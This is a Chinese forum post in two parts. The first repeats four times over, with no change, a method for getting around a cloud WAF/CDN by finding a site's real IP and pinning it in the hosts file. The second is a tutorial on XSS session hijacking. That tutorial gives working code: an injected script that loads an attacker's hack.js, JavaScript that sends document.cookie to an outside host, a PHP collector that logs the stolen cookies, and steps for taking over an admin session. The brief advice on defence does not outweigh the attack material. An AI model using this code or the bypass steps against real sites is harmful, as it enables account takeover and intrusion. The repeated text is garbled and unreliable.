找回密码

碧海潮声大学生网

查看: 562|回复: 0
打印 上一主题 下一主题

XSS危害——session劫持

[复制链接]
跳转到指定楼层
1#
发表于 2015-3-13 09:59 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
最近一直在搞些web安全,还是有一些收获的。其实我不是黑客,我真的只是白帽子。今天,准备渗透一个站,用了几个传统的注入方式,发现一直在弹出安全宝的拦截信息。让我很不爽,先来介绍一下安全宝。

什么安全宝

安全宝是创新工场的孵化产品,是一个基于云端的WAF(Web Application Firewall)。国内也有一些产品,比如加速乐、360等。这类产品其实是相当于网站的CDN,所有流量通过它进行转发。但是这些服务其实往往无法真正达到标准CDN的服务标准,之间我也试用过加速乐这个产品,但是实际下来,不如直接访问我本站。 且不谈CDN的加速功能,另一个功能其实是可以对网站的实际IP进行隐藏。

传统访问: 用户访问域名–>解析IP–>访问目标主机

然而CDN的访问就麻烦了许多,最简单的模式:用户访问域名–>CDN转发–>真实IP–>目标主机。很显然,真实的IP被保护了。其实这只是最简单的,在实际使用中,CDN的转发是多级转发的,找到最快的节点,让实际访问变快。

所以云端的Waf,实际上是在CDN转发环节做了文章。我们在传统测试使用的规则就十分鸡肋了,之前网上也有绕过思路,该类文章只是针对现有规则上加入了一些字符,从而绕过了这些步骤。因此,要想真正绕过就要寻找他的真实IP,然后我们通过hosts文件,强制解析域名,XX宝也就灰飞烟灭了。那么如何寻找真实IP呢?

寻找真实IP

(这一过程,我结合了乌云等网站上的内容,外加一些我总结的,成功率还是很高的)

1、寻找二级域名。通常由于CDN流量费巨大,或者因为内容涉密等原因,一些二级域名许多网站没有做CDN服务。比如bbs. blog. oa. mail. 通过这些子域名,可以快速拿到真实IP。

2、通过搜索引擎,找到一些站长工具的网页,那上面会记录其没有CDN 时的IP地址。很有可能是真实地址。还有就是这个淫荡的地址 http://webscan.360.cn/index/checkwebsite/?url=

3、直接ping根域名,许多网站让根域名放任自流,因此此方法也十分奏效

4、找phpinfo文件,通过wwwscan等,如果字典强大的话,的确可以找到phpinfo的文件。这个文件许多网站都有,其实本站也是有的。不过你是扫不到的。

5、淫荡的email :许多网站在注册的时候都会给你发邮件,这时候我们查看email 的源代码,就会找到真实IP。

6、使用国外DNS nslookup ,一些网站只对中国用户进行CDN服务,所以我们用国外的访问这些网站,CDN就会自动回源,找到真实IP

7、骗IP 这个自己发挥。

注意,修改完hosts之后可能并不能当场生效,可能因为缓存。所以清除一下dns缓存 cmd下,ipconfig /flushdns



最近一直在搞些web安全,还是有一些收获的。其实我不是黑客,我真的只是白帽子。今天,准备渗透一个站,用了几个传统的注入方式,发现一直在弹出安全宝的拦截信息。让我很不爽,先来介绍一下安全宝。

什么安全宝

安全宝是创新工场的孵化产品,是一个基于云端的WAF(Web Application Firewall)。国内也有一些产品,比如加速乐、360等。这类产品其实是相当于网站的CDN,所有流量通过它进行转发。但是这些服务其实往往无法真正达到标准CDN的服务标准,之间我也试用过加速乐这个产品,但是实际下来,不如直接访问我本站。 且不谈CDN的加速功能,另一个功能其实是可以对网站的实际IP进行隐藏。

传统访问: 用户访问域名–>解析IP–>访问目标主机

然而CDN的访问就麻烦了许多,最简单的模式:用户访问域名–>CDN转发–>真实IP–>目标主机。很显然,真实的IP被保护了。其实这只是最简单的,在实际使用中,CDN的转发是多级转发的,找到最快的节点,让实际访问变快。

所以云端的Waf,实际上是在CDN转发环节做了文章。我们在传统测试使用的规则就十分鸡肋了,之前网上也有绕过思路,该类文章只是针对现有规则上加入了一些字符,从而绕过了这些步骤。因此,要想真正绕过就要寻找他的真实IP,然后我们通过hosts文件,强制解析域名,XX宝也就灰飞烟灭了。那么如何寻找真实IP呢?

寻找真实IP

(这一过程,我结合了乌云等网站上的内容,外加一些我总结的,成功率还是很高的)

1、寻找二级域名。通常由于CDN流量费巨大,或者因为内容涉密等原因,一些二级域名许多网站没有做CDN服务。比如bbs. blog. oa. mail. 通过这些子域名,可以快速拿到真实IP。

2、通过搜索引擎,找到一些站长工具的网页,那上面会记录其没有CDN 时的IP地址。很有可能是真实地址。还有就是这个淫荡的地址 http://webscan.360.cn/index/checkwebsite/?url=

3、直接ping根域名,许多网站让根域名放任自流,因此此方法也十分奏效

4、找phpinfo文件,通过wwwscan等,如果字典强大的话,的确可以找到phpinfo的文件。这个文件许多网站都有,其实本站也是有的。不过你是扫不到的。

5、淫荡的email :许多网站在注册的时候都会给你发邮件,这时候我们查看email 的源代码,就会找到真实IP。

6、使用国外DNS nslookup ,一些网站只对中国用户进行CDN服务,所以我们用国外的访问这些网站,CDN就会自动回源,找到真实IP

7、骗IP 这个自己发挥。

注意,修改完hosts之后可能并不能当场生效,可能因为缓存。所以清除一下dns缓存 cmd下,ipconfig /flushdns




最近一直在搞些web安全,还是有一些收获的。其实我不是黑客,我真的只是白帽子。今天,准备渗透一个站,用了几个传统的注入方式,发现一直在弹出安全宝的拦截信息。让我很不爽,先来介绍一下安全宝。

什么安全宝

安全宝是创新工场的孵化产品,是一个基于云端的WAF(Web Application Firewall)。国内也有一些产品,比如加速乐、360等。这类产品其实是相当于网站的CDN,所有流量通过它进行转发。但是这些服务其实往往无法真正达到标准CDN的服务标准,之间我也试用过加速乐这个产品,但是实际下来,不如直接访问我本站。 且不谈CDN的加速功能,另一个功能其实是可以对网站的实际IP进行隐藏。

传统访问: 用户访问域名–>解析IP–>访问目标主机

然而CDN的访问就麻烦了许多,最简单的模式:用户访问域名–>CDN转发–>真实IP–>目标主机。很显然,真实的IP被保护了。其实这只是最简单的,在实际使用中,CDN的转发是多级转发的,找到最快的节点,让实际访问变快。

所以云端的Waf,实际上是在CDN转发环节做了文章。我们在传统测试使用的规则就十分鸡肋了,之前网上也有绕过思路,该类文章只是针对现有规则上加入了一些字符,从而绕过了这些步骤。因此,要想真正绕过就要寻找他的真实IP,然后我们通过hosts文件,强制解析域名,XX宝也就灰飞烟灭了。那么如何寻找真实IP呢?

寻找真实IP

(这一过程,我结合了乌云等网站上的内容,外加一些我总结的,成功率还是很高的)

1、寻找二级域名。通常由于CDN流量费巨大,或者因为内容涉密等原因,一些二级域名许多网站没有做CDN服务。比如bbs. blog. oa. mail. 通过这些子域名,可以快速拿到真实IP。

2、通过搜索引擎,找到一些站长工具的网页,那上面会记录其没有CDN 时的IP地址。很有可能是真实地址。还有就是这个淫荡的地址 http://webscan.360.cn/index/checkwebsite/?url=

3、直接ping根域名,许多网站让根域名放任自流,因此此方法也十分奏效

4、找phpinfo文件,通过wwwscan等,如果字典强大的话,的确可以找到phpinfo的文件。这个文件许多网站都有,其实本站也是有的。不过你是扫不到的。

5、淫荡的email :许多网站在注册的时候都会给你发邮件,这时候我们查看email 的源代码,就会找到真实IP。

6、使用国外DNS nslookup ,一些网站只对中国用户进行CDN服务,所以我们用国外的访问这些网站,CDN就会自动回源,找到真实IP

7、骗IP 这个自己发挥。

注意,修改完hosts之后可能并不能当场生效,可能因为缓存。所以清除一下dns缓存 cmd下,ipconfig /flushdns




最近一直在搞些web安全,还是有一些收获的。其实我不是黑客,我真的只是白帽子。今天,准备渗透一个站,用了几个传统的注入方式,发现一直在弹出安全宝的拦截信息。让我很不爽,先来介绍一下安全宝。

什么安全宝

安全宝是创新工场的孵化产品,是一个基于云端的WAF(Web Application Firewall)。国内也有一些产品,比如加速乐、360等。这类产品其实是相当于网站的CDN,所有流量通过它进行转发。但是这些服务其实往往无法真正达到标准CDN的服务标准,之间我也试用过加速乐这个产品,但是实际下来,不如直接访问我本站。 且不谈CDN的加速功能,另一个功能其实是可以对网站的实际IP进行隐藏。

传统访问: 用户访问域名–>解析IP–>访问目标主机

然而CDN的访问就麻烦了许多,最简单的模式:用户访问域名–>CDN转发–>真实IP–>目标主机。很显然,真实的IP被保护了。其实这只是最简单的,在实际使用中,CDN的转发是多级转发的,找到最快的节点,让实际访问变快。

所以云端的Waf,实际上是在CDN转发环节做了文章。我们在传统测试使用的规则就十分鸡肋了,之前网上也有绕过思路,该类文章只是针对现有规则上加入了一些字符,从而绕过了这些步骤。因此,要想真正绕过就要寻找他的真实IP,然后我们通过hosts文件,强制解析域名,XX宝也就灰飞烟灭了。那么如何寻找真实IP呢?

寻找真实IP

(这一过程,我结合了乌云等网站上的内容,外加一些我总结的,成功率还是很高的)

1、寻找二级域名。通常由于CDN流量费巨大,或者因为内容涉密等原因,一些二级域名许多网站没有做CDN服务。比如bbs. blog. oa. mail. 通过这些子域名,可以快速拿到真实IP。

2、通过搜索引擎,找到一些站长工具的网页,那上面会记录其没有CDN 时的IP地址。很有可能是真实地址。还有就是这个淫荡的地址 http://webscan.360.cn/index/checkwebsite/?url=

3、直接ping根域名,许多网站让根域名放任自流,因此此方法也十分奏效

4、找phpinfo文件,通过wwwscan等,如果字典强大的话,的确可以找到phpinfo的文件。这个文件许多网站都有,其实本站也是有的。不过你是扫不到的。

5、淫荡的email :许多网站在注册的时候都会给你发邮件,这时候我们查看email 的源代码,就会找到真实IP。

6、使用国外DNS nslookup ,一些网站只对中国用户进行CDN服务,所以我们用国外的访问这些网站,CDN就会自动回源,找到真实IP

7、骗IP 这个自己发挥。

注意,修改完hosts之后可能并不能当场生效,可能因为缓存。所以清除一下dns缓存 cmd下,ipconfig /flushdns






在跨站脚本攻击XSS中简单介绍了XSS的原理及一个利用XSS盗取存在cookie中用户名和密码的小例子,有些同学看了后会说这有什么大不了的,哪里有人会明文往cookie里存用户名和密码。今天我们就介绍一种危害更大的XSS——session劫持。
神马是session

想明白session劫持及其危害,首先要搞清楚什么是session,熟悉http的同学知道,http是无状态的,也就是客户端向服务器请求完成后,会断开连接,下次同一个客户端再次访问服务器的时候,服务器会把它当作一个陌生的请求,不会知道它曾经来过,这里有它的印记。

但是这样的交互是非常麻烦的,某个网站有很多theme,通过一套机制记在服务器中,用户访问的时候从数据库等地方读取配置,返回给客户端合适的themeHTML响应。因为http没有状态,下次用户再来的时候又读取一遍数据库配置,每个用户都要重复这个过程,是不是很麻烦。这时候我们希望有一个全局的变量存储空间,用来存放一些全站点都需要的并且不会变来变去(即使变也没什么)的数据,这就是 Application 变量。Application变量是站点的全局变量,只要服务器不宕机,任何用户在任何页面在授权的情况下都可以访问,进行读写操作。这样一些theme、timezone等信息就可以在用户第一次访问的时候存放在Application内,再次访问或者其它用户访问的时候可以直接去读取,方便了很多。

然而,有时候我们希望服务器为我们每个单独的web用户开辟一块儿私密空间,比如我们肯定不希望用户访问一个页面就输一次用户名、密码,当用户第一次登录成功后可以把登录信息存放在服务器,下次来了直接比对就可以。但是明显大家不希望自己的用户名和密码能够被所有的用户访问,所以服务器私密空间是需要的。

but,由于http的无状态性即使服务器上有了每个用户的私密空间,但下次用户访问的时候,服务器仍然不知道用户是张三、李四还是王二麻子。这可怎么办,聪明的同学肯定想到了,让客户端的请求告诉服务器我是王二麻子就行了。这样服务器和客户端就可以对话了,不至于说了后句就忘了前句。

问题在于客户端怎么告诉服务器我是谁。细心的同学会注意到cookie是http协议的一部分,会在http请求和http响应中出现,而客户端和服务器有记忆的会话正是靠cookie实现的。拿登录做例子,会话过程是这样的

登录

2. 服务器接收请求,验证登录,成功后为此web用户开辟一个私密空间,存放登录信息

3. 服务器为这个私密空间编号,类似于 PHPSESSID=rcmjnke6er5pnvf3qof0lclca7这样的一个键值对,不同的语言生成的键名和值的规则不同,但是都本着两个原则:第一,value必须唯一,毕竟一个站点可能同时有数百万甚至更多用户在访问,不能让两个用户的表示一样;第二:生成的value必须是不可推测的,否则别有用心用户就可以根据自己的表示信息推断出别人的,然后伪造别人登录信息访问站点(这正是session劫持)。

4. 服务器把这个键值对写入http响应中传给客户端

5. 客户端接收响应,关闭连接

登录成功,用户访问其他页面

1. 客户端发送登录请求(服务器写到cookie中的用户标识信息也被发送)

2. 服务器读取http请求中的cookie信息,根据标识信息查找对应私密空间,读取用户信息

3. 服务器生成特定响应,发送给客户端


4. 客户端接收响应,关闭连接


这个过程是不是很像是一个会话?这样第一次来了给个标签,下次凭此标签交流的机制就是session,当然session还包含其失效机制等。

session劫持

服务器生成的用以标识客户信息的cookie一般被称为sessionId,而通过一些手段获取其它用户sessionId的攻击就叫session劫持。

说的这么恐怖,那么被别人知道了我的sessionId后会有什么危险呢?通过上面交互过程可以看出来服务器是靠sessionId识别客户端是张三、李四还是王二麻子的,当其它用户获知了你的sessionId后,在其有效期内就可以凭此sessionId欺骗服务器,获取你的身份登录使用网站。

XSS劫持session

还是使用跨站脚本攻击XSS中留言板的XSS漏洞,添加一个登录成功的首页,包含留言板页面链接,管理员有其它权限,登录失败返回登录页。

home.php

<!DOCTYPE html> <html> <head> <title>Home</title> <?php include('/components/headerinclude.php');?> </head> <body> <a href="list.php">Comments</a> <?php use entityauthority as au; include 'entityuser.php'; if(isset($_POST['username'])){ $user=new auUser(); $user->username=$_POST['username']; $user->password=md5($_POST['password']); if($user->username=='Byron'){ $user->role='admin';                }else{ $user->role='normal';                } $_SESSION['user']=json_encode($user);            } if(!isset($_SESSION['user'])){ echo '<script>'; echo 'window.location.href="index.php"'; echo '</script>';            }else{ $me=json_decode($_SESSION['user']); echo '<br/>Hello '.$me->username.'!<br/>'; if($me->role=='admin'){ echo "Your are an Administrator, you can do anything.";                }            } ?> </body> </html>

当我们以管理员身份登录后界面是这样的

当没有管理员权限的恶意用户登录并访问留言板的时候,利用XSS漏洞注入这样代码

看看坏蛋做了什么

<script type="text/javascript" src=" http://test.com/hack.js"></script >这条语句利用script的src跨域请求坏蛋自己的脚本

http://test.com/hack.js

var c=document.cookie; var script =document.createElement('script');script.src='http://test.com/index.php?c='+c;document.body.appendChild(script);

脚本中创建了一个script标签,利用jsonp连带这当前用户的cookie向'http://test.com/index.php发送了http请求

http://test.com/index.php

<?php if(!empty($_GET['c'])){ $cookie=$_GET['c']; try{ $path=$_SERVER["DOCUMENT_ROOT"].'/session.txt'; $fp=fopen($path,'a'); flock($fp, LOCK_EX); fwrite($fp, "$cookiern"); flock($fp, LOCK_UN); fclose($fp);        }catch(Exception $e){        }    } ?>

原来坏蛋通过XSS把sessionId记到了自己磁盘

如何伪造管理员登录

这样如果在坏蛋利用XSS注入劫持sessionId的脚本后管理员登录并访问留言板页面,坏蛋就会得到管理员的sessionId,在其有效期内坏蛋可以这么做

1. 利用自己帐号登录系统,等待管理员访问被攻击页面,获取其sessionId

比如我得到管理员sessionId PHPSESSID=93jqhkal21kn6lg68uubvd1s37

2. 通过客户端修改sessionId

3. 刷新页面,骗过服务器,自己成了管理员

如何防范

这种session劫持主要靠XSS漏洞和客户端获取sessionId完成,一次防范分两步

1. 过滤用户输入,防止XSS漏洞

2. 设置sessionId的cookie为HttpOnly,使客户端无法获取






分享到:  QQ好友和群QQ好友和群 QQ空间QQ空间 腾讯微博腾讯微博 腾讯朋友腾讯朋友
收藏收藏 分享分享 顶 踩
您需要登录后才可以回帖 登录 | 注册

本版积分规则

Archiver|小黑屋| 碧海潮声大学生网  

Copyright © 2001-2013 Comsenz Inc.   All Rights Reserved.

Powered by Discuz! X3.2( 浙ICP备11026473号 )

快速回复 返回顶部 返回列表